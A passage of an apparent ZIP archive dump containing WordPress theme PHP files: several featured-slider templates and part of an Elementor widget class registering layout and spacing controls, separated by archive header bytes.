                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( ! $hide_categories && $show_cat ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( $settings['cspost_enable'] || ! $hide_meta_comment || ! $meta_date_hide || $show_viewscount || $show_meta_author ): ?>
                                    <div class="feat-meta">
										<?php if ( $show_meta_author ): ?>
                                            <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
										<?php endif; ?>
										<?php if ( ! $meta_date_hide ): ?>
                                            <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
										<?php endif; ?>
										<?php if ( ! $hide_meta_comment ): ?>
                                            <span class="feat-comments"><a
                                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
										<?php endif; ?>
										<?php
										if ( $show_viewscount ) {
											echo '<span class="feat-countviews">';
											echo penci_get_post_views( get_the_ID() );
											echo ' ' . penci_get_setting( 'penci_trans_countviews' );
											echo '</span>';
										}
										?>
										<?php echo penci_show_custom_meta_fields( [
											'validator' => isset( $settings['cspost_enable'] ) ? $settings['cspost_enable'] : '',
											'keys'      => isset( $settings['cspost_cpost_meta'] ) ? $settings['cspost_cpost_meta'] : '',
											'acf'       => isset( $settings['cspost_cpost_acf_meta'] ) ? $settings['cspost_cpost_acf_meta'] : '',
											'label'     => isset( $settings['cspost_cpost_meta_label'] ) ? $settings['cspost_cpost_meta_label'] : '',
											'divider'   => isset( $settings['cspost_cpost_meta_divider'] ) ? $settings['cspost_cpost_meta_divider'] : '',
										] ); ?>
										<?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>

				<?php if ( $i % 5 == 0 && $i > 1 && $i < $num_posts ): echo '</div></div><div class="item swiper-slide"><div class="wrapper-item wrapper-item-classess">'; endif; ?>

				<?php $i ++; endwhile;
			wp_reset_postdata(); ?>
        </div>
    </div>
<?php endif; ?>
PK     1w\՘Y    =  elementor/modules/penci-featured-sliders/widgets/style-10.phpnu [        <?php
/**
 * Template part for Slider Style 10
 */

$post_thumb_size = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-thumb-vertical';
$penci_is_mobile = penci_is_mobile();

	$post_thumb_size_m = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';

?>
<?php if ( $feat_query->have_posts() ) : ?>
	<?php $i   = 1;
	$num_posts = $feat_query->post_count;
	while ( $feat_query->have_posts() ) : $feat_query->the_post();
		?>
        <div class="item swiper-slide">
            <div class="wrapper-item wrapper-item-classess">
                <div class="penci-item-mag penci-item-<?php echo( $i % 3 ); ?>">
	                <?php do_action( 'penci_bookmark_post' ); ?>
					<?php if ( ! $disable_lazyload ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(),$post_thumb_size,$post_thumb_size_m ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $penci_is_mobile ? $post_thumb_size_m : $post_thumb_size ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>
                    <div class="penci-slide-overlay penci-slider7-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! $hide_format_icons && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>" class="overlay-icon-format">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( ! $hide_categories && $show_cat ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( $settings['cspost_enable'] || ! $hide_meta_comment || ! $meta_date_hide || $show_viewscount || $show_meta_author ): ?>
                                    <div class="feat-meta">
										<?php if ( $show_meta_author ): ?>
                                            <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
										<?php endif; ?>
										<?php if ( ! $meta_date_hide ): ?>
                                            <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
										<?php endif; ?>
										<?php if ( ! $hide_meta_comment ): ?>
                                            <span class="feat-comments"><a
                                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
										<?php endif; ?>
										<?php
										if ( $show_viewscount ) {
											echo '<span class="feat-countviews">';
											echo penci_get_post_views( get_the_ID() );
											echo ' ' . penci_get_setting( 'penci_trans_countviews' );
											echo '</span>';
										}
										?>
	                                    <?php echo penci_show_custom_meta_fields( [
		                                    'validator' => isset( $settings['cspost_enable'] ) ? $settings['cspost_enable'] : '',
		                                    'keys'      => isset( $settings['cspost_cpost_meta'] ) ? $settings['cspost_cpost_meta'] : '',
		                                    'acf'       => isset( $settings['cspost_cpost_acf_meta'] ) ? $settings['cspost_cpost_acf_meta'] : '',
		                                    'label'     => isset( $settings['cspost_cpost_meta_label'] ) ? $settings['cspost_cpost_meta_label'] : '',
		                                    'divider'   => isset( $settings['cspost_cpost_meta_divider'] ) ? $settings['cspost_cpost_meta_divider'] : '',
	                                    ] ); ?>
										<?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
		<?php $i ++; endwhile;
	wp_reset_postdata(); ?>
<?php endif; ?>
PK     1w\E4  4  <  elementor/modules/penci-featured-sliders/widgets/style-2.phpnu [        <?php
/**
 * Template part for Slider Style 2
 */

$post_thumb_size  = $post_thumb_size ? $post_thumb_size : 'penci-slider-thumb';
$penci_is_mobile  = penci_is_mobile();
$post_thumb_msize = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';
?>
<?php if ( $feat_query->have_posts() ) : while ( $feat_query->have_posts() ) :
$feat_query->the_post(); ?>
<div class="item swiper-slide swiper-mark-item">
	<?php do_action( 'penci_bookmark_post' ); ?>
	<?php if ( ! $disable_lazyload ) { ?>
    <div class="penci-swiper-mask penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
         data-bgset="<?php echo penci_image_srcset( get_the_ID(), $post_thumb_size, $post_thumb_msize ); ?>"
         data-href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
		<?php } else { ?>
        <div class="penci-swiper-mask penci-image-holder"
             style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $penci_is_mobile ? $post_thumb_msize : $post_thumb_size ); ?>');"
             data-href="<?php the_permalink(); ?>" title="<?php echo wp_strip_all_tags( get_the_title() ); ?>">
			<?php } ?>
			<?php if ( ! $center_box ): ?>
                <div class="penci-featured-content">
                    <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
                        <div class="featured-slider-overlay"></div>
						<?php if ( ! $hide_categories ): ?>
                            <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
						<?php endif; ?>
                        <h3><a href="<?php the_permalink() ?>"
                               title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                        </h3>
						<?php if ( $settings['cspost_enable'] || ! $hide_meta_comment || ! $meta_date_hide || $show_viewscount || $show_meta_author ): ?>
                            <div class="feat-meta">
								<?php if ( $show_meta_author ): ?>
                                    <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
								<?php endif; ?>
								<?php if ( ! $meta_date_hide ): ?>
                                    <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
								<?php endif; ?>
								<?php if ( ! $hide_meta_comment ): ?>
                                    <span class="feat-comments"><a
                                                href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
								<?php endif; ?>
								<?php
								if ( $show_viewscount ) {
									echo '<span class="feat-countviews">';
									echo penci_get_post_views( get_the_ID() );
									echo ' ' . penci_get_setting( 'penci_trans_countviews' );
									echo '</span>';
								}
								?>
								<?php echo penci_show_custom_meta_fields( [
									'validator' => isset( $settings['cspost_enable'] ) ? $settings['cspost_enable'] : '',
									'keys'      => isset( $settings['cspost_cpost_meta'] ) ? $settings['cspost_cpost_meta'] : '',
									'acf'       => isset( $settings['cspost_cpost_acf_meta'] ) ? $settings['cspost_cpost_acf_meta'] : '',
									'label'     => isset( $settings['cspost_cpost_meta_label'] ) ? $settings['cspost_cpost_meta_label'] : '',
									'divider'   => isset( $settings['cspost_cpost_meta_divider'] ) ? $settings['cspost_cpost_meta_divider'] : '',
								] ); ?>
								<?php do_action( 'penci_extra_meta' ); ?>
                            </div>
						<?php endif; ?>
                    </div>
                </div>
			<?php endif; ?>
        </div>
    </div>
	<?php endwhile;
	wp_reset_postdata();
	endif; ?>
PK     1w\+r    <  elementor/modules/penci-featured-sliders/widgets/style-8.phpnu [        <?php
/**
 * Template part for Slider Style 8
 */

$post_thumb_size = ! empty( $post_thumb_size ) ? $post_thumb_size : 'penci-thumb-vertical';
$penci_is_mobile = penci_is_mobile();

	$post_thumb_msize = ! empty( $post_thumb_size_mobile ) ? $post_thumb_size_mobile : 'penci-masonry-thumb';

?>
<?php if ( $feat_query->have_posts() ) : ?>
	<?php $i   = 1;
	$num_posts = $feat_query->post_count;
	while ( $feat_query->have_posts() ) : $feat_query->the_post();
		?>
        <div class="item swiper-slide">
            <div class="wrapper-item wrapper-item-classess">
                <div class="penci-item-mag penci-item-<?php echo( $i % 4 ); ?>">
	                <?php do_action( 'penci_bookmark_post' ); ?>
					<?php if ( ! $disable_lazyload ) { ?>
                        <a class="penci-image-holder <?php echo penci_classes_slider_lazy(); ?>"
                           data-bgset="<?php echo penci_image_srcset( get_the_ID(),$post_thumb_size,$post_thumb_msize ); ?>"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } else { ?>
                        <a class="penci-image-holder"
                           style="background-image: url('<?php echo penci_get_featured_image_size( get_the_ID(), $penci_is_mobile ? $post_thumb_msize : $post_thumb_size ); ?>');"
                           href="<?php the_permalink(); ?>"
                           title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"></a>
					<?php } ?>
                    <div class="penci-slide-overlay penci-slider7-overlay">
                        <a class="overlay-link"
                           aria-label="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                           href="<?php the_permalink(); ?>"></a>
						<?php if ( ! $hide_format_icons && ( has_post_format( 'video' ) || has_post_format( 'audio' ) || has_post_format( 'link' ) || has_post_format( 'quote' ) || has_post_format( 'gallery' ) ) ): ?>
                            <a href="<?php the_permalink(); ?>" class="overlay-icon-format">
								<?php if ( has_post_format( 'video' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-play' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'audio' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-music' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'link' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-link' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'quote' ) ) : ?>
									<?php penci_fawesome_icon( 'fas fa-quote-left' ); ?>
								<?php endif; ?>
								<?php if ( has_post_format( 'gallery' ) ) : ?>
									<?php penci_fawesome_icon( 'far fa-image' ); ?>
								<?php endif; ?>
                            </a>
						<?php endif; ?>
                        <div class="penci-mag-featured-content">
                            <div class="feat-text<?php if ( $meta_date_hide ): echo ' slider-hide-date'; endif; ?>">
								<?php if ( ! $hide_categories && $show_cat ): ?>
                                    <div class="cat featured-cat"><?php penci_category( '' ); ?></div>
								<?php endif; ?>
                                <h3><a title="<?php echo wp_strip_all_tags( get_the_title() ); ?>"
                                       href="<?php the_permalink() ?>"><?php echo wp_trim_words( wp_strip_all_tags( get_the_title() ), $slider_title_length, '...' ); ?></a>
                                </h3>
								<?php if ( $settings['cspost_enable'] || ! $hide_meta_comment || ! $meta_date_hide || $show_viewscount || $show_meta_author ): ?>
                                    <div class="feat-meta">
										<?php if ( $show_meta_author ): ?>
                                            <span class="feat-author"><?php echo penci_get_setting( 'penci_trans_by' ); ?> <a
                                                        href="<?php echo get_author_posts_url( get_the_author_meta( 'ID' ) ); ?>"><?php the_author(); ?></a></span>
										<?php endif; ?>
										<?php if ( ! $meta_date_hide ): ?>
                                            <span class="feat-time"><?php penci_soledad_time_link(); ?></span>
										<?php endif; ?>
										<?php if ( ! $hide_meta_comment ): ?>
                                            <span class="feat-comments"><a
                                                        href="<?php comments_link(); ?> "><?php comments_number( '0 ' . penci_get_setting( 'penci_trans_comments' ), '1 ' . penci_get_setting( 'penci_trans_comment' ), '% ' . penci_get_setting( 'penci_trans_comments' ) ); ?></a></span>
										<?php endif; ?>
										<?php
										if ( $show_viewscount ) {
											echo '<span class="feat-countviews">';
											echo penci_get_post_views( get_the_ID() );
											echo ' ' . penci_get_setting( 'penci_trans_countviews' );
											echo '</span>';
										}
										?>
	                                    <?php echo penci_show_custom_meta_fields( [
		                                    'validator' => isset( $settings['cspost_enable'] ) ? $settings['cspost_enable'] : '',
		                                    'keys'      => isset( $settings['cspost_cpost_meta'] ) ? $settings['cspost_cpost_meta'] : '',
		                                    'acf'       => isset( $settings['cspost_cpost_acf_meta'] ) ? $settings['cspost_cpost_acf_meta'] : '',
		                                    'label'     => isset( $settings['cspost_cpost_meta_label'] ) ? $settings['cspost_cpost_meta_label'] : '',
		                                    'divider'   => isset( $settings['cspost_cpost_meta_divider'] ) ? $settings['cspost_cpost_meta_divider'] : '',
	                                    ] ); ?>
										<?php do_action( 'penci_extra_meta' ); ?>
                                    </div>
								<?php endif; ?>
                            </div>
                        </div>
                    </div>
                </div>
            </div>
        </div>
		<?php $i ++; endwhile;
	wp_reset_postdata(); ?>
<?php endif; ?>
PK     1w\!8    K  elementor/modules/penci-featured-sliders/widgets/penci-featured-sliders.phpnu [        <?php

namespace PenciSoledadElementor\Modules\PenciFeaturedSliders\Widgets;

use Elementor\Controls_Manager;
use Elementor\Group_Control_Background;
use Elementor\Group_Control_Typography;
use Elementor\Group_Control_Box_Shadow;
use PenciSoledadElementor\Base\Base_Widget;
use PenciSoledadElementor\Modules\QueryControl\Module;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

class PenciFeaturedSliders extends Base_Widget {

	public function get_name() {
		return 'penci-featured-sliders';
	}

	public function get_title() {
		return penci_get_theme_name( 'Penci' ) . ' ' . esc_html__( ' Featured Slider', 'soledad' );
	}

	public function get_icon() {
		return 'eicon-gallery-grid';
	}

	public function get_categories() {
		return [ 'penci-elements' ];
	}

	public function get_keywords() {
		return array( 'post', 'slider' );
	}

	public function get_script_depends() {
		return array( 'ff40', 'gsap' );
	}

	protected function register_controls() {


		$this->register_query_section_controls( true );
		// Section layout
		$this->start_controls_section( 'section_layout', array(
			'label' => esc_html__( 'Layout', 'soledad' ),
			'tab'   => Controls_Manager::TAB_CONTENT,
		) );

		$this->add_control( 'style', array(
			'label'   => __( 'Choose Style', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => 'style-1',
			'options' => array(
				'style-1'  => 'Style 1',
				'style-2'  => 'Style 2',
				'style-4'  => 'Style 4',
				'style-6'  => 'Style 6',
				'style-7'  => 'Style 7',
				'style-8'  => 'Style 8',
				'style-9'  => 'Style 9',
				'style-10' => 'Style 10',
				'style-11' => 'Style 11',
				'style-13' => 'Style 13',
				'style-15' => 'Style 15',
				'style-17' => 'Style 17',
				'style-19' => 'Style 19',
				'style-20' => 'Style 20',
				'style-21' => 'Style 21',
				'style-22' => 'Style 22',
				'style-23' => 'Style 23',
				'style-24' => 'Style 24',
				'style-25' => 'Style 25',
				'style-26' => 'Style 26',
				'style-27' => 'Style 27',
				'style-28' => 'Style 28',
				'style-29' => 'Style 29',
				'style-35' => 'Style 35',
				'style-37' => 'Style 37',
				'style-38' => 'Style 38',
				'style-40' => 'Style 39',
				'style-41' => 'Style 40',
				'style-42' => 'Style 41',
				'style-44' => 'Style 42',
				'style-45' => 'Style 43',
			)
		) );


		$list_switchers = array(
			'disable_lazyload_slider' => array(
				'label' => __( 'Disable Lazy Load Images on The Slider', 'soledad' ),
			),
			'enable_flat_overlay'     => array(
				'label'     => __( 'Enable Flat Overlay Replace with Gradient Overlay', 'soledad' ),
				'condition' => array(
					'style!' => array(
						'style-1',
						'style-2',
						'style-3',
						'style-4',
						'style-5',
						'style-29',
						'style-30',
						'style-35',
						'style-36',
						'style-37',
						'style-38'
					)
				),
			),
			'center_box'              => array(
				'label' => __( 'Hide Center Box', 'soledad' ),
			),
			'meta_date_hide'          => array(
				'label' => __( 'Hide Post Date', 'soledad' ),
			),
			'show_viewscount'         => array(
				'label' => __( 'Show Count View', 'soledad' ),
			),
			'hide_categories'         => array(
				'label' => __( 'Hide Categories Of Post', 'soledad' ),
			),
			'show_cat'                => array(
				'label' => __( 'Display Categories for all Posts on Slider', 'soledad' ),
				'desc'  => __( 'By default, we disabled categories for some slider styles & some small posts - this option will help you show it if you want.', 'soledad' ),
			),
			'hide_meta_comment'       => array(
				'label' => __( 'Hide Post Number Comments', 'soledad' ),
			),
			'show_meta_author'        => array(
				'label' => __( 'Show Post Author', 'soledad' ),
			),
			'hide_meta_excerpt'       => array(
				'label'     => __( 'Hide Post Excerpt', 'soledad' ),
				'condition' => array(
					'style' => array(
						'style-35',
						'style-38',
						'style-44',
						'style-42',
						'style-41',
						'style-40'
					)
				),
			),
			'hide_format_icons'       => array(
				'label' => __( 'Hide Post Format Icons', 'soledad' ),
			)
		);

		foreach ( $list_switchers as $list_switcher_key => $list_switcher_info ) {
			$this->add_control( $list_switcher_key, array(
				'label'       => $list_switcher_info['label'],
				'type'        => Controls_Manager::SWITCHER,
				'description' => isset( $list_switcher_info['desc'] ) ? $list_switcher_info['desc'] : '',
				'condition'   => isset( $list_switcher_info['condition'] ) ? $list_switcher_info['condition'] : '',
			) );
		}
		$this->add_control( 'title_length', array(
			'label'     => __( 'Post Title Length', 'soledad' ),
			'type'      => Controls_Manager::NUMBER,
			'default'   => '12',
			'separator' => 'before',
		) );
		$this->add_control( 'spacing_settings_section', array(
			'label'     => __( 'Content Align', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );
		$this->add_control( 'cs_vertical_align', array(
			'label'       => __( 'Content Vertical Align', 'soledad' ),
			'type'        => Controls_Manager::CHOOSE,
			'label_block' => false,
			'options'     => array(
				'top'    => array(
					'title' => __( 'Top', 'soledad' ),
					'icon'  => 'eicon-v-align-top',
				),
				'middle' => array(
					'title' => __( 'Middle', 'soledad' ),
					'icon'  => 'eicon-v-align-middle',
				),
				'bottom' => array(
					'title' => __( 'Bottom', 'soledad' ),
					'icon'  => 'eicon-v-align-bottom',
				),
			),
		) );
		$this->add_control( 'cs_horizontal_align', array(
			'label'       => __( 'Horizontal Align', 'soledad' ),
			'type'        => Controls_Manager::CHOOSE,
			'label_block' => false,
			'options'     => array(
				'left'   => array(
					'title' => __( 'Left', 'soledad' ),
					'icon'  => 'eicon-h-align-left',
				),
				'center' => array(
					'title' => __( 'Center', 'soledad' ),
					'icon'  => 'eicon-h-align-center',
				),
				'right'  => array(
					'title' => __( 'Right', 'soledad' ),
					'icon'  => 'eicon-h-align-right',
				),
			),
			'condition'   => [ 'style' => [ 'style-1', 'style-2' ] ],
		) );
		$this->add_control( 'cs_text_align', array(
			'label'       => __( 'Text Align', 'soledad' ),
			'type'        => Controls_Manager::CHOOSE,
			'label_block' => false,
			'options'     => array(
				'left'   => array(
					'title' => __( 'Left', 'soledad' ),
					'icon'  => 'eicon-text-align-left',
				),
				'center' => array(
					'title' => __( 'Center', 'soledad' ),
					'icon'  => 'eicon-text-align-center',
				),
				'right'  => array(
					'title' => __( 'Right', 'soledad' ),
					'icon'  => 'eicon-text-align-right',
				),
			),
		) );
		$this->add_responsive_control( 'cs_container_w', array(
			'label'     => __( 'Center Box Width', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 1500, ) ),
			'selectors' => [ '{{WRAPPER}} .featured-style-1 .penci-featured-content .feat-text,{{WRAPPER}} .featured-style-2 .penci-featured-content .feat-text' => 'max-width:{{SIZE}}px' ],
			'condition' => [ 'style' => [ 'style-1', 'style-2' ] ]
		) );

		$this->end_controls_section();

		$this->start_controls_section( 'spacingitems_settings_section', array(
			'label' => __( 'Content Spacing', 'soledad' ),
			'tab'   => Controls_Manager::TAB_CONTENT
		) );
		$this->add_responsive_control( 'csct_spacing', array(
			'label'     => __( 'Content Padding', 'soledad' ),
			'type'      => Controls_Manager::DIMENSIONS,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-slide-overlay .penci-mag-featured-content,{{WRAPPER}} .penci-featured-content .feat-text,{{WRAPPER}} .feat-text-right' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};' ),
		) );
		$this->add_responsive_control( 'csct_cmargin', array(
			'label'              => __( 'Content Margin', 'soledad' ),
			'type'               => Controls_Manager::DIMENSIONS,
			'allowed_dimensions' => 'vertical',
			'placeholder'        => [
				'top'      => '',
				'right'    => 'auto',
				'bottom'   => '',
				'left'     => 'auto',
				'isLinked' => false,
			],
			'range'              => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors'          => array( '{{WRAPPER}} .penci-featured-content-right .feat-text-right,{{WRAPPER}} .penci-slide-overlay .penci-mag-featured-content,{{WRAPPER}} .penci-featured-content' => 'margin-top: {{TOP}}{{UNIT}};margin-bottom: {{BOTTOM}}{{UNIT}};' ),
		) );
		$big_post_lists = array(
			'style-6',
			'style-13',
			'style-15',
			'style-17',
			'style-20',
			'style-21',
			'style-22',
			'style-23',
			'style-24',
			'style-25',
			'style-26',
			'style-27',
			'style-28',
			'style-37'
		);
		$this->add_responsive_control( 'csct_bspacing', array(
			'label'     => __( 'Content Padding for Big Posts', 'soledad' ),
			'type'      => Controls_Manager::DIMENSIONS,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'condition' => array( 'style' => $big_post_lists ),
			'selectors' => array( '{{WRAPPER}} .penci-pitem-big .penci-featured-content .feat-text,{{WRAPPER}} .penci-pitem-big .penci-mag-featured-content' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};' ),
		) );
		$this->add_responsive_control( 'cscat_spacing', array(
			'label'     => __( 'Categories', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-mag-featured-content .cat,{{WRAPPER}} .penci-featured-content .feat-text .featured-cat,{{WRAPPER}} .featured-cat' => 'margin-bottom: {{SIZE}}px' ),
		) );
		$this->add_responsive_control( 'cstitle_spacing', array(
			'label'     => __( 'Title', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-featured-content .feat-text h3,{{WRAPPER}} .penci-owl-featured-area .feat-text h3,{{WRAPPER}} .penci-mag-featured-content h3,{{WRAPPER}} .featured-style-35 .feat-text-right h3,{{WRAPPER}} .penci-widget-slider h4, {{WRAPPER}} h3.title-part' => 'margin-bottom: {{SIZE}}px' ),
		) );
		$this->add_responsive_control( 'csmeta_spacing', array(
			'label'     => __( 'Meta', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-mag-featured-content .feat-meta,{{WRAPPER}} .penci-featured-content .feat-text .feat-meta,{{WRAPPER}} .penci-fslider-fmeta' => 'margin-top: {{SIZE}}px' ),
		) );
		$this->add_control( 'excerpt_spacing', array(
			'label'     => __( 'Excerpt Spacing', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'max' => 100 ) ),
			'selectors' => array(
				'{{WRAPPER}} .featured-content-excerpt p,{{WRAPPER}} .featured-slider-excerpt p' => 'margin-bottom: {{SIZE}}{{UNIT}};',
				'{{WRAPPER}} .featured-slider-excerpt'                                           => 'margin-bottom: {{SIZE}}{{UNIT}};',
			),
			'condition' => array(
				'style' => array(
					'style-35',
					'style-38',
					'style-40',
					'style-44',
					'style-42',
					'style-41'
				)
			)
		) );
		$this->add_responsive_control( 'csbtn_spacing', array(
			'label'     => __( 'Button', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-featured-slider-button' => 'margin-top: {{SIZE}}px' ),
			'condition' => array( 'style' => array( 'style-35', 'style-38', 'style-40' ) )
		) );
		$this->add_control( 'cspd_bigpost', array(
			'label'     => __( 'Spacing for Big Posts', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
			'condition' => array( 'style' => $big_post_lists ),
		) );
		$this->add_responsive_control( 'cscat_bspacing', array(
			'label'     => __( 'Categories', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors' => array( '{{WRAPPER}} .penci-pitem-big .penci-mag-featured-content .cat' => 'margin-bottom: {{SIZE}}px' ),
			'condition' => array( 'style' => $big_post_lists ),
		) );
		$this->add_responsive_control( 'cstitle_bspacing', array(
			'label'     => __( 'Title', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'condition' => array( 'style' => $big_post_lists ),
			'selectors' => array( '{{WRAPPER}} .penci-pitem-big .penci-featured-content .feat-text h3,{{WRAPPER}} .penci-pitem-big .penci-mag-featured-content h3' => 'margin-bottom: {{SIZE}}px' ),
		) );
		$this->add_responsive_control( 'csmeta_bspacing', array(
			'label'     => __( 'Meta', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'condition' => array( 'style' => $big_post_lists ),
			'selectors' => array( '{{WRAPPER}} .penci-pitem-big .penci-mag-featured-content .feat-meta' => 'margin-top: {{SIZE}}px' ),
		) );
		$this->add_control( 'excerpt_bspacing', array(
			'label'     => __( 'Excerpt Spacing', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'max' => 100 ) ),
			'selectors' => array( '{{WRAPPER}} .penci-pitem-big .featured-content-excerpt p' => 'margin-bottom: {{SIZE}}{{UNIT}};' ),
			'condition' => array( 'style' => array( 'style-35', 'style-38' ) )
		) );
		$this->add_responsive_control( 'csprvnxt_bspacing', array(
			'label'     => __( 'Slider Prev/Next Buttons Spacing', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'separator' => 'before',
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 200, ) ),
			'selectors' => array(
				'{{WRAPPER}} .penci-owl-carousel .penci-owl-nav .owl-prev' => 'left: {{SIZE}}px;',
